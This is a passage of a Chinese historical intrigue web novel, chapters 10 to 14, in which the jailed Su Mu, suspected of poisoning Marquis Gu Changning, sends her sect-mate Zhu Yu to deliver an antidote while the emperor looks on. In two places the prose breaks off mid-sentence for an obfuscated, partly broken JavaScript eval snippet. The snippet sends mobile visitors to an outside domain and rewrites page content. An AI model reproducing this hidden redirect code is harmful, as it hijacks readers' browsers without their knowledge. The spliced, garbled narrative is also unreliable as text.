再次清醒时,苏木再次落入了地牢之中,只是与先前那次不同,先前她直接被顾长宁用铁链拴在木桩之上,而现下她正坐于牢房草席之上。 扬风本是打算严刑拷问苏木,但苏木却冷声反驳,以若自身不是下毒者,却被顾长宁手下折辱合作同伴为由,才让扬风放弃了这心思。 苏木坐于草席之上,虽身受困于牢房,但好在与扬风的反驳之话被他上了心,未用严刑还拿了些许药物衣物供他使用。 但扬风也不是好欺负之人,他冷声威胁若是查出此事的确与苏木有关,必手刃与她。 可她并不担心,一是自身今日落入牢狱是受顾长宁蛊虫牵绊而至虚弱,若不如此扬风还未必是她的对手,而是她自己下没下毒,难道自己还不清楚? 可眼下,苏木瞧着牢房洞口出的黑夜,一时竟乱了思绪。 会是祝余下的毒吗?苏木有些出神,细细回想着一切有可能下毒之人。 祝余是今日入的府,潇声所说的遣一人前来相助,怕就是祝余了。 可祝余并非是心急鲁莽之人,从前就算祝余要出任务,一般也会与自身商议,根本不会未经商量独自做出决定并行动,最主要是也必然不会牵连到自己。 苏木很清楚,毕竟在闳离阁的那几年,她的身侧常伴白薇与祝余。年少时,她因鲁莽想要独自下山寻找妹妹,独自去找凶手复仇,却在半路遇上了穷凶恶极的歹徒,在危机时刻,是白薇和祝余出手相救,二人自她出山之时就跟着她,生怕她遇到心有不轨之人。 除此之外,苏木几乎在被潇声责骂之时,身侧也近乎都有二人身影。许是多次管教无方,后来潇声便不再多管苏木之事了,她自由来往,和祝余他们相见的便是更少了。 苏木年龄比祝余和白薇小,只是去到闳离阁比二人早,闳离阁又规矩森严,因此三人一直以师兄妹相称,无关年龄。 思及此,苏木已经在心下排除了祝余的嫌疑。 可还会有谁呢? 苏木思索无果才顿时明白,自己同意了和顾长宁合作,却全然不知顾长宁身处何种境地,敌友分别是谁,如此看来她无法排查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189723|181081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凶手,自己便是最有嫌疑之人。 外头弯月正斜挂与牢洞外,苏木瞧着那混身周白的月色,突然想起了什么。 月华? 今日,顾长宁要让她带回之人便是月华,晌午之前她都没有在闳离阁发现月华的踪迹,直到暮时才发现与画卷中女子相似之处,在朱雀门鬼鬼祟祟之人。 朱雀门? 苏木心中似是了然了。 朱雀门四通八达,总共有四个方向,而那女子鬼祟多去之处,正是侯府所在的方向。 这样一想,似乎都对上了,一般毒药发作不会太快,基本都是半个时辰外一个时辰内,她回想在申时正中遇见了那人,朱雀门离侯府距离且得走上一阵。 紧赶慢赶,大多也就在申时末接近酉时抵达,加上下药等行为,确确切切差不多能被下药。 一切似乎都说了通了,虽这一切是自己怀疑推理,但却存在一定的合理性。 若是那月华姑娘已然知晓自己正在被侯府所监视,势必会做出些行动。 为了尽快出这牢狱,洗刷自己身上的嫌疑,苏木对着牢外拐角处的狱卒大喊:“叫扬风来,我有要事要会知他!” 苏木表现的很是着急,但那狱卒却是一副高高在上的样子,看着像是不愿理会。 苏木知道这些人官小事大,只得做威胁状:“你们若现在不去,错过了给你们小侯爷下毒之人的重要线索,你们可担当的起!” 搬出了顾长宁,苏木不信眼前狱卒还能事不关己的样子,但令苏木没想到的事,眼前人确实如此,苏木这下倒有些怒了,正欲开口,那狱卒不咸不淡:“你不就是凶手,何故在这故弄玄虚。休想要逃出去,扬风爷特地嘱咐了我等,休要听你信口胡邹,逃了出去。” …… 苏木这下真是有些被这些人蠢笑了,脸上露出了几分冷笑,终是使出杀手锏,只见苏木袖口飞出一只飞镖,随着狱卒冷哼一声,飞镖已嵌入狱卒手腕。 “这飞镖上淬了毒,你若是要解药就去给我将扬风找来,若是你执意留守此地不去,那你今日七窍流血我也将事不关己。” 苏木冷笑着继而又道:“反正如你所说,你家小侯爷已经被我下了毒,他也正高兴能有你在黄泉路上作陪吧。” 苏木语气不疾不徐,同样带着威胁的意味。 那狱卒一听,已然有些惊慌,竟来不及答应便和旁边狱卒说了些什么,这样离去了。 苏木嘲讽一笑,果然,刀子不是落在自己身上,是不会疼的。 苏木自然不会痴痴站在牢前等着,她现下感受到的疼痛比之之前要两倍多余,除了心口有锥心之剧痛,四肢也似是有些无力。 见人走后便一直盘坐在草席之上,闭着眼叫人看不出情绪。 大概两刻已过,苏木脸上冷汗入雨,仿佛下一刻就要晕厥过去,她凭着高超的毅力而苦苦支撑。 这时,牢房外传来窸窣之声,牢外狱卒熟悉的声音响起,却不是在对着她说。 一陌生嗓音的狱卒问道:“外面如何了?” “侯爷病危,已吐了好多血了,眼下看着好像不行了。” 11. 第11章 苏木自然也听到了对话,听着二人口中所语,她心中竟也生出了担心,倒不是怕顾长宁有个什么三长两短,最主要的便是二人身上连着蛊,可不能因为顾长宁而丧命于此。 想到这,苏木忍受着身上传来强烈震颤痛感,硬撑着走到牢门前,有些虚弱开口:“喂!” 许是因为身体虚弱,苏木都没意识到自己发出的声音并不足以引起远在角落处的二人的注意。 “喂!” 苏木这声卯足了劲,那二位狱卒中之前那位才反应过来。 似是想到自己身上还有这被飞镖击中的伤,那狱卒上前来,表情淡漠:“我刚出门刚好碰到了府中医者,他告诉我这飞镖根本没毒。” 狱卒转而凶神恶煞:“我警告你,你最好别给我耍花招。” 看着狱卒那恶狠狠的样子,苏木心中压着一股怒火,瞧着眼前人似乎都有些模糊了,苏木有些支撑不住,也无法再反驳,靠在木栏之上,语气有些微弱:“月,月华姑娘…” 终是没说完,苏木便软软倒在了地上。 门外狱卒瞧苏木倒在地上暂时也翻不起什么风浪,但又以为地下之人在装傻,于是用脚使劲踢了踢门,发现的确无任何的反应后才放心离开。 苏木只觉自己的天灵感似乎都要被掀开了一般炸裂的疼,可她已无力扶住自己的头,让其离开阴暗潮湿的泥地之中。 恍然间,苏木感觉到身前站着一个人影。她在一片白茫茫中,见到一中年男人,那男人瞧着她眼底满是慈祥,嘴巴一张一合地叫着她的名字。 “珏明,爹爹给你带了你最喜欢的桃花酥,别睡了,快起来吃掉,不然呀你妹妹珏乐又得跟你抢。” 苏木感觉到很是舒服,仿佛自己又身处在府中庭院,她总爱睡懒觉,每次爹爹下完早朝回来都会给她带东市最好吃的桃花酥。 苏木瞧着,眼前人手中的确提着桃花酥,可她却很想哭,很想哭。 这些年来,这么久以来,她从未踏入过上京城,也从未在去过旧时御史中丞沈府的府邸,与其说她害怕,她懦弱胆小,倒不如说她不愿意承认,不愿意承认家人已经离世,妹妹至今未让她找到。 想起妹妹,苏木感受到自己脸颊仿佛滑落了一滴泪,不过她无暇顾及,只是睁着朦胧之眼只想再多看爹爹一眼,她怕少了这些泪水组成的朦胧,清晰的世界下又是需要面对的痛苦事实。 可事情也并不如苏木所愿,尽管她努力的想要抓住眼前的影子,可她越是努力却离她越远。 渐渐消失不见… 取而代之的,变得慢慢清晰的居然是祝余的脸,苏木惘然若失,却一瞬变得惊讶。 她感受到嘴里被喂了一颗很苦涩的药,等药完完全全咽下喉咙时,她被人从泥里扶了起来。 “苏木姐姐,你怎么样?” 这药的确见效,不过刚服下,苏木便清醒了许多,虽然身上所痛未得缓解,但至少人不是糊涂的。 瞧见祝余在跟前,苏木有些虚弱,声音也如蝇声一般:“祝余,你怎么来这里了。” 苏木语中并未有责怪之意,祝余似很是惊喜,从苏木的语气中她就得知,她的苏木姐姐还是相信她的。 “我瞧见外面乱作一团,顺着狱卒到了这里。” “姐姐,来不及细说了,我们先出去。” 祝余不说,苏木也知祝余是如何摆脱重重守卫前来这牢狱,闳离阁所教之学甚多,也自然教过其下弟子如何使用迷药,如何做些阴谋诡计。 可祝余不知,眼下她虽感谢祝余正如从前一般前来相救,但她却不能走。 她若走了,若顾长宁毒解了还好,若是未解她也会殒命在途中。 苏木使出些力气,扳开了祝余用力拉着自己的手。 苏木努力去抚平自己呼吸,以至于说出来的话不会带出颤抖:“祝余,你先听我说。” “我相信你,此毒并非你所下,同样的我也未下此毒,但眼下众人皆以为是我毒害顾长宁,如果我此刻逃脱,就算是走了,以我现在的情况只怕还未出城便被捉了回来,那时还会拖累与你。” 苏木咽下口水,再次努力抚平自己的情绪,尽量让自己看着冷静:“但若我留在这里情况便不一样了,我些许已经猜出投毒之人是谁,但眼下却无机会能告知顾长宁身边的侍从,但此刻抓凶还不是最要紧的,我的东苑厢房里,在靠床的几案下的屉中,里面有一颗解毒丸,你替我给顾长宁服下,他肯定知道凶手并非是我,到时我便能洗脱罪名了。” 苏木话虽如此,但她知道顾长宁眼中无物,也许并不能全然相信自己,情况再糟一点,依照顾长宁的性子,也许会立刻杀了她,但她别无他法,她可以选择毒,无非两种结果,一种是二人连着蛊顾长宁也奈何不了自己,另一种最糟的也是逼出她的蛊杀了自己。 可现在,顾长宁死她就得死,现在顾长宁活她才能活。 至于苏木被种蛊毒以及二人合作之事,为了不在眼下添乱,此事现在还不便告知于祝余。 因此,祝余眼中划过一丝震惊,显然有些生气:“姐姐,你可知解毒丸可是宏离阁最难拿到的药,此药如此名贵可是用来在最危急的时刻用的,你给了顾长宁,他若是醒了对你不利怎么办!” 苏木知道祝余的胆心不是多余的,因为她自己都不确定自己能否被他所相信,可她现在也的的确确处在危机之中。 一时情急,苏木竟嘴边溢出一些血迹来,她自己也感受到了这股湿意,她来不及细想,只知道也许此刻顾长宁正处于悬崖峭壁,她必须要将他拉回,才能救自己一命。 “祝余,相信我,好吗!” 苏木眼神中带着笃定,努力去安抚瞧见嘴角血迹脸上充满担忧的祝余:“我不会有事的,现下最最重要的,你一定要帮我,把那颗解毒丸给他!” 见祝余仍在犹豫,苏木已然没了办法,只得再次开口:“祝余,相信我!” 她紧紧地握住祝余的手,似乎将一切都托付给了她。 祝余瞧着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189724|181081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷香坚持不了太久了,只好将苏木安置到草席之上,不让她躺在湿冷的泥地之中,此刻祝余眼中也充满了坚定:“好,我一定带到!” 见祝余马上要起身离开,苏木终于放心的闭上了眼睛。 - 祝余悄然离开地牢后第一时间便越过众人进入到东苑厢房,正如苏木所说,那解毒丸的确放在屉中檀木小盒中。 祝余拿起木盒,急匆匆地从窗边翻出,为了掩人耳目,装作若无其事的往主屋去。 东苑主屋内。 顾长宁昏卧在榻上,面色惨白如纸,面色泛着青紫,唇色接近惨白,只见他胸膛起伏微弱,仿佛下一刻便要停止跳动。 忽而,他开始剧烈地咳嗽起来,腥甜的血自唇中呛起,顿时唇边脸上糊满了血渍,枕边银白的锦被上落入些血迹,瞧着殷红触目,叫人心惊。 屋中人声嘈杂,塌前几个大夫轮番把脉,皆面色凝重,似乎手足无措别无他法。侯府的侍从、幕僚、家将,挤满了寝殿内外,急得如热锅上的蚂蚁。 扬风和凌风各守正门一边,似在防止谁突然袭击,严肃的脸上带着些凝重的担心。 此时,苑前庭院传来一阵轻微的脚步声,众人循声望去。 祝余立于檐下,身着三等婢衣,面带担心,眸色却沉稳如水。她抬手,将手中木盒展现给众人,声音分外清晰:“我有解药。” 扬风听闻先是脸上一阵惊喜,其后又飘过一丝怀疑,当即上前一步,目光带着凌厉,语气满是戒备之意:“姑娘这药从何而来?倘若有诈,后果你担得起么?” 祝余想着尚在牢中的苏木,只微微垂眸,声音依旧平静却笃定:“我会些医术,小侯爷中的是‘断魂散’。 众人一听,院中众人开始窃窃私语。 “断魂散!” “那可是极烈的毒药,目前还未有解药。” “这位姑娘可别说大话哪!” 众人议论纷纷,祝余毫不理会,继续开口:“此毒先侵肺腑,再蚀骨血,三日之内必亡。我学过医术,认得此毒,也知如何解。 祝余眼中带着酷似苏木的凌厉,说话自带锋芒一字一顿:“若再耽搁片刻,他必死无疑。你们若有别法,便当我从未来过。” 庭里霎时安静下来,众人面面相觑,神色皆带慌张与怀疑之意。 最终,年长的管事颤声开口:“扬风爷,小侯爷此次的确是凶多吉少,这药要不喂下去先试试……” 一语落罢,扬风却还是不信,他不愿意将顾长宁置于任何危险境地,正要开口,耳后传来威严之声。 “给伯沅服下去试试。” 此声一出,众人不明是谁,但这上京敢叫小侯爷字的寥寥无几。 众人循声望去,皆跪倒在地。 声音划一,带着尊崇:“参见圣上!圣上万安!” 圣上? 听到众人所言后祝余才明白,于是立马跪下,连身子也忘了转,照猫画虎:“参见圣上,圣上万安!” 12. 第12章 众人皆未料到圣上会亲临侯府,多少有些惊讶。 圣上应了平身,院中人们才纷纷起身,但仍旧人人垂眸敛目,不敢直接对上圣上龙颜。 听见圣上在与扬风说话,祝余这才敢抬眼瞧。 素色金绣常服外罩轻氅,倒是华贵无常,听说当今圣上弱冠有二,这下瞧着的确是有潇洒少年之气概,然而一双眼眸沉敛威冷,似能洞悉众生,眉宇间自有凌厉之气,叫人不敢直视。 扬风立于庭中,弯着腰小心问询:“圣上,现下侯爷性命垂危,这毒要是有问题……” 那位陛下利于庭正中,右臂袖间金线在烛火间闪烁,未曾开口,身旁一年迈公公面色恭谨,缓步上前。 “扬风爷,不然让这姑娘瞧瞧奴才的病。” 公公一开口,圣上便先行往屋中迈去。 扬风得知了意思,这位常伴圣上左右的李公公早年患有头风,这些年也一直未见好,但圣上尤其信赖与他,因此也为其寻了些许太医瞧病,但说是慢病,都得慢慢养。 此事也就侯府几位与顾长宁熟知之人知晓。 公公上前掀开些腕处的衣袖,祝余轻轻伸出手,稳稳地按在公公的手腕上,指尖细细感受着脉搏的跳动。 她眉头微蹙,脉象浮动间似有风邪入侵,头风的迹象隐隐显现。 她微微转头,声音温柔却透着一丝凝重:“近期是否常感头晕或头痛?” 似是没料到眼前年纪不轻的女子如此之快能从脉象判断,公公有些讶异,但随即带着些困扰面色答应:“确有此事。” 瞧着脉到的无错,祝余眼带着笑:“公公,你的脉象有些浮动,瞧着头风应该有好几年了。” 祝余指尖尚未移开,正当她细察脉象时,指尖忽然感觉到另一股微妙的不顺畅,脉息在肺部一带似有郁滞。她缓缓收回手,神色比之刚才多了几分凝重:“,肺部似乎有些气丝不畅,平日是否有咳嗽、气短或痰多的情况?” 公公闻言,脸色微变,女子便知道眼前公公不仅是表象头风那么简单,肺部的隐疾不可忽视,需及时调理。 扬风一听,察觉祝余的确会些医术,细细打量时才注意到祝余身上穿的是侯府的三等婢女衣物,想来侯府婢女都是凌风亲自挑选,偶有一两批是摄政王送来的也无甚有失。 扬风暂且信了眼前人,再加上圣上刚已发了话,他只得开口:“进去吧。” 说完,他话锋一转,眼带几分杀意:“若是侯爷服了你这药出了任何问题,那你今日也别想活着离开侯府。” 祝余未答应,但还是点头示意,她微微一笑,抬腿往主屋去。 主屋内,圣上正沿塌而坐,其余众人皆排两列二站,祝余往前走着,瞧到了塌上之人。 顾长宁静静地躺在床上,面色苍白如雪,甚至有些铁青,倒是与乌青的唇色相得益彰。 唯有眉心微蹙,鬓发也散落在枕上,映得那张原本俊美的面容愈发寂冷。 听闻身后传来声音,圣上转过头来,和祝余对上了眼。 祝余欠身行礼:“回禀陛下,婢子刚给公公把了脉,公公有些头风之症,体内含有肺部隐疾。” 祝余不卑不亢,皇帝听眼前人所说与太医无异,正欲开口,床上之人突然有了些动静。 只听噗嗤一声,床上之人喷出一口黑血,血迹沿着唇角向下,竟落下点点血渍在塌前龙袍之上。 但塌上之人却并未震怒,蹙着眉眼带焦急担忧:“快,给他服下。” 底下人听闻立马拧干床边铜盆中的帕子为顾长宁擦净脸庞,待净后,祝余上前,由着身边一小厮掰开顾长宁的嘴巴,将那颗黝黑的药丸送入她口中。 祝余这下放了心,解毒丸可解百毒,就算是断肠毒,那也会无碍,只是这药效甚慢,长则三四日人才可清醒,不过如若那人意识坚定恐怕一日一夜也是要的。 药服下,圣上见床上之人还未清醒,有些焦急:“他几时能醒?” 祝余敛眉如实回应:“兴许一夜,长则三四日也是有的。” 见如此之久,圣上面色浮起些担忧:“你这药从何处来?若是三日后侯爷未醒,你该当如何?” 虽未直言威胁之意,但祝余也确实听出些不容人撒谎的威严,她缓缓开口:“回陛下,这是我师父所赠予我的,年少我曾在一家医馆学艺。” 祝余谨小慎微,但无惧意:“这解毒丸乃是我师父门下祖传,陛下大可放心。” 见眼前人如此自信,皇帝面容有些舒展,竟漏出半分笑意,答应的爽快:“好!” “朕就信你。” “你先退下。” 皇帝已开了口,祝余却未动,榻上之人见下方人不听令,以为是没听见,正欲再提醒一句,祝余开了口。 “陛下,小侯爷平时待底下人是顶顶好的,婢子恳请陛下可以为侯爷查清下毒之人。” 祝余弯着腰,仔细听着上头人的动静。 其实这小侯爷对底下人好不好她不知,但是她绝不能让苏木名陨此地,她计划着能从屋中关键人物知道些有效信息,于是主动提起了关于下毒之人一事。 皇帝瞧床上之人没动静,但又怕吵着病人修养,于是向外走去,远远开口:“扬风呢,来回话。” 祝余紧跟其后。 “回陛下,臣在。” “你可查清了下毒之人?” 祝余站在皇帝身后,抬眼偷看了一眼扬风。 只见扬风面色踌躇,似有犹豫,皇帝再次开了口:“离你们侯爷中毒如此之久了,还未抓到凶手?” 这声带着些愠气,叫人不敢怠慢,扬风拱手回话:“回陛下,据大夫诊断,侯爷是今日酉时前后中的毒,那时侯爷正用完晚饭,不过臣查了用食,无毒。” 瞧扬风未直接牵连出苏木,祝余倒是有些疑惑,但也随之紧张感放下了几分。 “用食无误,那茶水呢?” “回陛下,侯爷的茶皆由其中一名贴身小厮所煮泡,茶罐茶杯皆无毒。” 皆无毒?众人听闻议论纷纷,甚是不解。 皇帝已然有些震怒:“那照你这么说,你们侯爷这毒是找不着何人所下了?” 圣上一怒,众人脸色 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祝余只好附和:“陛下,早前婢子就听说过扬风大人断事入神,如今那苏木还未苏醒,若不如此事就交由扬风大人,婢子保证侯爷三日内必醒,届时若谁是可疑之人,侯爷也定不回轻饶了他。” 说完这话,扬风有些狐疑地看向皇帝身后的祝余,随即垂头应着:“臣必定不负圣上之意,查清下毒之人。” “若如此也罢,宫中事务繁多,若是抓出此人,定要通报宫中。” “是。” 庭中之人众口一致地回应,一路送着皇帝出了侯府,坐上了门外停着的金漆雕龙大轿。 皇帝掀帘入内,轿子左右八人抬起,众人看着轿顶覆以明黄缎面,听着四角垂挂鎏金玲珑风铃随步伐微微作响,威仪森然。 见轿子逐渐远去,众人才松了一口气。 扬风入内,瞪眼瞧着祝余,走上前去将他拉入人少之处,眸光微冷:“你和苏木什么关系?” 祝余被她捏的有些疼,故作姿态地求饶:“大人,你弄疼我了!” 意识到自己失态,但扬风依旧不肯松手,刚刚和小厮耳语对话便是听说狱卒刚刚传来消息,所有狱卒几乎都中了迷药,但苏木未逃,一狱卒看见祝余从地牢之处而出。 扬风冷声质问:“你是不是和苏木一伙的?你下的毒?” 扬风顺着些逻辑往下猜想,但想着侯爷未公布苏木的身份,也便将‘刺客’二字生生的吞了回去。 祝余一愣,却还是装作不知道,故意摆出无辜之态:“婢子不知扬风大人所说,刚刚婢子只是顺着大人的话说,难道不对吗?” “苏木什么身份,我比你清楚,劝你别想要出什么幺蛾子!” 扬风别过眼神,未瞧到祝余眼下的惊讶,他手下松动了几分,转头对着远处小厮喊道:“将她给我押入地牢,无旨不得出!” 同时间,祝余身后也传来一脚步声。 脚步停滞她身后,小厮声音传入耳中:“大人,我等在青颜姑娘院中发现了断肠毒的残余毒药。” 13. 第13章 已过夜半,管家在前面掌着灯一群人浩浩荡荡往西苑去,祝余紧跟在身后。 到西苑时,众人按其顺序围成一周,庭内中间是青颜,只见她身上还穿着碧色荷花短袄,领夹已被小厮扒拉地开了些扣,膝盖尽是些污泥,被人押着跪在屋外时,脸上还带着些不屈。 扬风站于她跟前,一手握着腰间长刀剑鞘,一只手负与身后,脸上布满阴沉,似是要马上砍了眼前人一般。 扬风颇有些顾长宁的气势,不怒自威:“毒药是在你房里找到的,你还有何话说。” 跪在地上的人听见问话试图挣扎双手,见被桎梏的死死的未有半分松动才没做那无用功,昏暗的烛光打在青颜脸上,没有半分女子之柔弱,眼底透满不屑。 青颜回完话后别过头:“我无话可说。” “无话可说?” 扬风冷笑:“你可知谋杀当朝重臣是何重罪?” “真不知你是天真还是愚蠢!” 扬风语气有些重,瞧着眼前人似乎觉得她无可救药一般。 “今日,我这命就在这,你大可来取。” 青颜语带不屑,似乎真不把自己的命当一回事,扬风见此,在冷风中抽出腰间长刀,冷冽刀风划破长夜时泛出一丝银光,地下之人似是被晃到还是真的害怕,在刀架于脖子上时,双眸猛眨了几下。 “不怕死?”扬风停顿:“或者以为,我不敢杀你?” “青颜,我刀锋稍有偏差便可叫你人头落地,不过侯爷曾有过命令,禁府中染血,既然你想死,那便先去地牢走一遭。” 瞧着刀下之人面带几分抽搐,扬风倒是笑了起来,他将刀收回瞧中,叫来身后几名府兵:“把他押入地牢严加看管,明日爷亲自审她。” 几名府兵应声上前,想起扬风之前下的命令,于是踌躇开口:“大人,这,这位姑娘可还要送往地牢?” 听见府兵问询,扬风才顺着所指方向看去,正瞧见祝余一双无辜的眼睛瞧着她,立马别过头摆摆手:“此事还未查明白,将她一并关了!” - 昏暗地牢里,一股腐败青苔烂泥味道熏如鼻中,苏木虽觉天昏地暗,但此刻只觉得背部被石板硌的有些疼。 能感受到其他的痛,那就说明最痛的已缓解了不少,苏木垂放在石板床下的双腿有些苏麻,于是缓缓起了身,试图通过捶打让双腿恢复点知觉。 循着牢里洞窗望去,外面已经和刚进来天时不同,瞧着白光大亮,苏木已知现为第二日的午时左右。 苏木瞧着自己身上比之作晚疼痛已减半,已经了然祝余将药送到,担心也少了几分,只将手做拳状锤腿锤背,思绪却还是有点乱。 敲了不一会儿,耳边传来其它的声音。 “苏木姐姐…苏木姐姐!” 听到熟悉的声音,捶打腿面的手悬在半空之中,苏木来回查看,想要找到出声之处。 声音并不大,并不是从最近的牢房中传过来的。 苏木循着继续叫她的声音,终于在木栏前看到了远在斜对面的祝余。 瞧见意想不到的人入了牢狱,苏木有些惊讶,随即担忧道:“祝余,你何时进来的?” 苏木想着昨晚她刚离去自己便已然昏了过去,没想到时隔一晚,祝余也被关了进来,想着侯府里那位,她倒有些担心顾长宁过河拆桥。 “姐姐,你不必担心,那药已给那人服用了,昨日扬风一直在府中排查各屋,在昨晚夜半时分,青颜屋中发现了断魂毒的剩余残药。” 祝余趴在木栏之上,生怕苏木担心,于是挑着最紧要的说。 怕一些话入了别人的耳,苏木有四下张望了一下,除了远处两名狱卒,眼光所及之处的其余牢房均无人。 但苏木还是压低了嗓子:“青颜?” 苏木思索后有些不解:“她为何要毒顾长宁?” 祝余瞧着苏木反问,于是乎问:“姐姐认识她?” “认识,她之前曾挑衅过我,被顾长宁收拾了。” 听到此话,祝余像是知道了什么,于是乎觉得合理了:“祝余不知,昨日刚被发现就把青颜也关入地牢了。但是照姐姐这么说,会不会是侯爷教训了她,她心生怨恨?” 人心难测,苏木替青颜有些不值:“区区小事便要去毒杀别人,心眼如此小只会置自己于死地。” 只是?若毒是青颜所下,那那日自己在朱雀门看到的月华不是去往侯府? 苏木不得其解,蹲在木栏旁沉下心思考着。 祝余在远处小声嘀咕:“姐姐说的是,不过我们的任务不就是要解决点小侯爷吗,昨日为何要救他,若是昨日他一死我也带着姐姐离开上京,岂不两全。” 虽是嘀咕,但某些声音在空旷之处就是会听的无比清晰,苏木现下不便解释太多,怕这些糟乱事牵扯到祝余,只安慰着开口:“姐姐来上京城除了这一个任务,还有一件事要办。” 见祝余又要开口问,苏木立马接话又道:“只是目前这些事都还不能告诉你,姐姐不想让你牵扯太多,其实这侯府有我一人也便够了,要不然这次出去了你回蔺州去?” 苏木深知上京险恶,侯府也非良处,于是乎这样说道。 瞧着底下的影子,苏木眼底流露出些复杂的情绪,一晃而过取而代之的是一个猛抬头:“祝余,我记得你说扬风自昨日起搜寻府屋是吗?” 一瞬便换了话题,祝余有些摸不着头脑:“对啊。” 苏木得到确认的答案,紧张询问:“那扬风他们,可在我屋里发现了什么没?” “你的屋中?” “西苑吗?” 这时,苏木才想起昨日自己换了屋子还未同祝余讲,于是改口:“不是西苑,是东苑厢房,可被搜查出了什么?比如?人?” 苏木这样问是因为突然忘了,昨日她还藏了影儿在房中,本是希望能给予她蔽身之所,可别因她而丧了命。 “人?” 祝余面带疑惑,纠正到:“我知道是东苑,你昨日昏迷前同我讲过。” 祝余仔细回想了一番回答:“没有啊,昨日未听那扬风说起过多出一人,况且,我去你屋中取药时,就未见多余的人。” 听完祝余说的话,这下疑惑的倒是变为了苏木。 未见多余的人? 那影儿去哪了?会不会心下慌乱之时外逃,被府兵抓了去? 苏木再次四下张望,但确实未见多余之人,自己也在昏迷中未听到门外一丝动静。 她自己现在身处于牢狱之中,外面消息一概不知,只能祈祷那女 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想起宰相府,苏木冷冽的面容浮起一丝涟漪,少时所见之人,不知现在是何模样,是否也做了官。 苏木想的出神,却也有些昏昏欲睡,突然耳边传来狱卒声音竟让她靠在木栏之上的背影微颤。 一阵哐当的铁铜撞击,发出些清脆悦耳之声,伴随着两人的脚步越来越近。 “侯爷传话,现在要传你询问。” 狱卒已至跟前,熟练的挑出锁着此门的钥匙,只听沉重长锁哐当一声,落与门前铁链之上,门被缓缓打开了。 苏木悠悠起身,确实没料到顾长宁服了药能醒这么快。 早前她也曾听闻过闳离阁中谁中毒需要服用这药,无不是三日,最短两日才能醒过,而今他顾长宁却只用短短一夜一天。 果真是一战成名的少年将军,的确毅力体质非常人所及。 苏木一人被带走,怕祝余担心害怕,回头对着望着自己的祝余露出一些笑容:“别怕。” 说完这句,那狱卒本想押着她,苏木给了二人一记眼神,二人体会到前所未有的冷意便拿开了手未在多言。 苏木便走在两狱卒中间,一直这样走到了东苑主屋。 已至酉时,斜阳只一抹圆角在山边冒出头,一些暖霞余晖落入苏木肩头,苏木倒觉得终于自在了。 虽也才过了一日一夜,久违见到外面的天,苏木也确实有了一丝大赦之感。 这是苏木第一次清醒着出入地牢,这才发现地牢在侯府之中,出了这地牢竟是侯府的后宅,而这后宅便位于西苑后方。 她算是知道顾长宁为何一开始将她安置于西苑了,合着就是打造了一个要跑就能闯入地牢的机会。 这顾长宁,心眼也是够多的。 苏木咂舌,却是一步也没有缓,就这样走到了主屋跟前。 苏木定眼瞧着熟悉的门窗,身后狱卒已离去,她上前正欲敲门,里面传来一丝声音。 “进来。” 淡漠冷峻,字字如冰凌轻敲玉面,虽是命令却带着一丝无可遮掩的虚弱,仿佛病中初醒,少了些之前的气势。 14. 第14章 苏木今日所着是那日刚进东苑厢房的碧青色荷花短袄,虽说也就相隔不过短短两日一夜,但因是在狱牢里,身上闻着倒也不算清爽,苏木一向爱干净,本来待在污浊之地习惯了闻着味道还好,但一旦出了牢狱这味道似有似无的着实让人难受。 脚步声停在门外犹豫了片刻,她还是朝着一旁雕花窗棂走去,透过油窗窗棂确保瞧见了屋内塌上人影她才缓缓开口:“刚从牢狱出来,现下难免污浊,我就不进来了免得你病气更甚。” 侧着身,尽量不教屋中之人瞧见她浑身是泥的模样。 窗户透着两寸小缝,站至窗前多少能闻到些药香,窗外冷冽之风一阵阵的吹过,药香也能转瞬即逝。 未待顾长宁拒绝,苏木问:“你现在倒是好了?” 屋里,顾长宁靠在床榻之上,大病初愈,脸色依旧有些苍白,眉峰微微蹙起,半阖眼,声音有些难得的低哑。 “嗯,死不了。” 窗外可听见些风声鹤唳,苏木紧了紧脖前毛缘,转过身瞧着亭中枯木在风中张牙舞爪,她情绪不高,恹恹道:“顾长宁,你既然知道自己的命和别人连着就该对此负责。” 苏木心中有气,语气如乱石砸入地面,掷地有声:“你想死可以,别拉着我。” 顾长宁心知自己理亏,但神色依旧冷淡,传入到苏木耳中的,是生硬的语气。 “这次是我大意了。” 轻描淡写的一句话落入耳中,还不如石子投入湖中来的响声,合着除了自己的命,别人不管是死还是被诬陷都与他无关轻重? “扬风将我当作了给你下毒之人,你不应该为此说些什么吗?”苏木有些没好气,说话也如棒槌一般。 半会,屋内传出低沉的声音,还带着些勉强的笑意:“说些什么?” “苏木,你当我眼瞎就什么都瞧不见吗?” 后面半句不似先前冷笑,带着质问的听着语气不对,苏木侧身往里瞧去,看到顾长宁面色不悦,眸中虽无颜色,眼底愠色却浓。 “祝余。”顾长宁特意顿了顿,一字一句地吐出这个名字,随后开口,低哑的嗓音中还带着些浑厚的怒意:“先是你离开东苑后和一名刚入府的婢女交谈甚欢,再是你入狱,一女子竟能用江湖手段随意出入我侯府,我侯府当真就是你们闳离阁想来就来,想走就走的地方?!” 闳离阁三个字在苏木耳边炸开,苏木双眸倏忽一颤,细长睫毛上下扑闪了几下,心中愕然,竟是没想到顾长宁能查出自己来自何处。 但惊讶只在一瞬之间,苏木怒从中来,直接翻身从大门踢入而进,可见其怒火,她双目圆睁,眼底燃起些不悦地质疑:“你调查我?” 